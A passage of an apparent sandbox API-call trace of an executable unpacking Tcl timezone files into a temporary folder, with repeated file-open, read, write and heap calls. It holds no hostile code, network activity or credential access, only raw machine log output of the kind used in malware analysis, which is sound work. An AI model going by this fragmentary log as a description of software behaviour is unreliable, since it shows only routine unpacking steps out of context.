lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.704] CloseHandle (hObject=0x10c) returned 1 [0043.704] GetLastError () returned 0x0 [0043.704] SetLastError (dwErrCode=0x0) [0043.704] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.704] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.704] GetFileType (hFile=0x10c) returned 0x1 [0043.704] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.704] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.704] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.704] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.704] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.704] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.704] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.704] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.704] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.704] CloseHandle (hObject=0x10c) returned 1 [0043.704] GetLastError () returned 0x0 [0043.704] SetLastError (dwErrCode=0x0) [0043.704] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US") returned 59 [0043.704] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.705] GetFileType (hFile=0x10c) returned 0x1 [0043.705] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.705] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.705] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.705] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.705] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.705] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.705] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.705] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.705] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.705] CloseHandle (hObject=0x10c) returned 1 [0043.705] GetLastError () returned 0x0 [0043.705] SetLastError (dwErrCode=0x0) [0043.705] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Indiana-Starke") returned 74 [0043.705] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Indiana-Starke" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us\\indiana-starke"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.705] GetLastError () returned 0x2 [0043.705] SetLastError (dwErrCode=0x2) [0043.705] GetLastError () returned 0x2 [0043.705] SetLastError (dwErrCode=0x2) [0043.705] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Indiana-Starke", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Indiana-Starke", lpFilePart=0x0) returned 0x49 [0043.705] GetLastError () returned 0x2 [0043.705] SetLastError (dwErrCode=0x2) [0043.705] GetLastError () returned 0x2 [0043.705] SetLastError (dwErrCode=0x2) [0043.705] GetLastError () returned 0x2 [0043.705] SetLastError (dwErrCode=0x2) [0043.705] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Indiana-Starke") returned 74 [0043.706] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.706] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Indiana-Starke" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us\\indiana-starke"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.706] GetFileType (hFile=0x10c) returned 0x1 [0043.706] htonl (hostlong=0xc9000000) returned 0xc9 [0043.706] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.706] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xc9, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xc9, lpOverlapped=0x0) returned 1 [0043.707] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.707] CloseHandle (hObject=0x10c) returned 1 [0043.707] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546bc8 | out: hHeap=0x530000) returned 1 [0043.707] htonl (hostlong=0x30000000) returned 0x30 [0043.707] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.707] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.707] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.707] GetFileType (hFile=0x10c) returned 0x1 [0043.707] htonl (hostlong=0x97375d00) returned 0x5d3797 [0043.707] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61e797, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.707] htonl (hostlong=0x8b000000) returned 0x8b [0043.707] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8b) returned 0x55cfe0 [0043.707] htonl (hostlong=0x8b000000) returned 0x8b [0043.707] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.707] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.707] htonl (hostlong=0xb4000000) returned 0xb4 [0043.707] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb4) returned 0x5608f0 [0043.708] htonl (hostlong=0x8b000000) returned 0x8b [0043.708] htonl (hostlong=0xb4000000) returned 0xb4 [0043.708] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.708] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.708] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.708] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.708] CloseHandle (hObject=0x10c) returned 1 [0043.708] GetLastError () returned 0x0 [0043.708] SetLastError (dwErrCode=0x0) [0043.708] GetLastError () returned 0x0 [0043.708] SetLastError (dwErrCode=0x0) [0043.708] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.708] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.708] GetFileType (hFile=0x10c) returned 0x1 [0043.708] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.708] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.708] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.708] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.708] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.708] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.708] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.708] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.708] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.708] CloseHandle (hObject=0x10c) returned 1 [0043.708] GetLastError () returned 0x0 [0043.708] SetLastError (dwErrCode=0x0) [0043.709] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.709] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.709] GetFileType (hFile=0x10c) returned 0x1 [0043.709] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.709] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.709] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.709] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.709] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.709] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.709] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.709] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.709] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.709] CloseHandle (hObject=0x10c) returned 1 [0043.709] GetLastError () returned 0x0 [0043.709] SetLastError (dwErrCode=0x0) [0043.709] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US") returned 59 [0043.709] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.709] GetFileType (hFile=0x10c) returned 0x1 [0043.709] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.709] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.709] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.709] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.709] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.709] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.709] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.709] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.710] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.710] CloseHandle (hObject=0x10c) returned 1 [0043.710] GetLastError () returned 0x0 [0043.710] SetLastError (dwErrCode=0x0) [0043.710] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Michigan") returned 68 [0043.710] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Michigan" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us\\michigan"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.710] GetLastError () returned 0x2 [0043.710] SetLastError (dwErrCode=0x2) [0043.710] GetLastError () returned 0x2 [0043.710] SetLastError (dwErrCode=0x2) [0043.710] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Michigan", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Michigan", lpFilePart=0x0) returned 0x43 [0043.710] GetLastError () returned 0x2 [0043.710] SetLastError (dwErrCode=0x2) [0043.710] GetLastError () returned 0x2 [0043.710] SetLastError (dwErrCode=0x2) [0043.710] GetLastError () returned 0x2 [0043.710] SetLastError (dwErrCode=0x2) [0043.710] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Michigan") returned 68 [0043.710] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.710] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Michigan" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us\\michigan"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.710] GetFileType (hFile=0x10c) returned 0x1 [0043.711] htonl (hostlong=0xb4000000) returned 0xb4 [0043.711] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.711] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xb4, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xb4, lpOverlapped=0x0) returned 1 [0043.711] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.711] CloseHandle (hObject=0x10c) returned 1 [0043.712] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5608f0 | out: hHeap=0x530000) returned 1 [0043.712] htonl (hostlong=0x30000000) returned 0x30 [0043.712] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.712] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.712] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.712] GetFileType (hFile=0x10c) returned 0x1 [0043.712] htonl (hostlong=0x22385d00) returned 0x5d3822 [0043.712] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61e822, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.712] htonl (hostlong=0x8b000000) returned 0x8b [0043.712] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8b) returned 0x55cfe0 [0043.712] htonl (hostlong=0x8b000000) returned 0x8b [0043.712] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.712] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.712] htonl (hostlong=0xb1000000) returned 0xb1 [0043.712] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb1) returned 0x560a70 [0043.712] htonl (hostlong=0x8b000000) returned 0x8b [0043.712] htonl (hostlong=0xb1000000) returned 0xb1 [0043.712] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.712] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.712] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.712] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.712] CloseHandle (hObject=0x10c) returned 1 [0043.712] GetLastError () returned 0x0 [0043.712] SetLastError (dwErrCode=0x0) [0043.712] GetLastError () returned 0x0 [0043.712] SetLastError (dwErrCode=0x0) [0043.713] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.713] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.713] GetFileType (hFile=0x10c) returned 0x1 [0043.713] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.713] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.713] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.713] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.713] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.713] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.713] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.713] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.713] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.713] CloseHandle (hObject=0x10c) returned 1 [0043.713] GetLastError () returned 0x0 [0043.713] SetLastError (dwErrCode=0x0) [0043.713] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.713] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.713] GetFileType (hFile=0x10c) returned 0x1 [0043.713] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.713] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.713] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.713] SystemTimeToTzSpecificLocalTime (in: 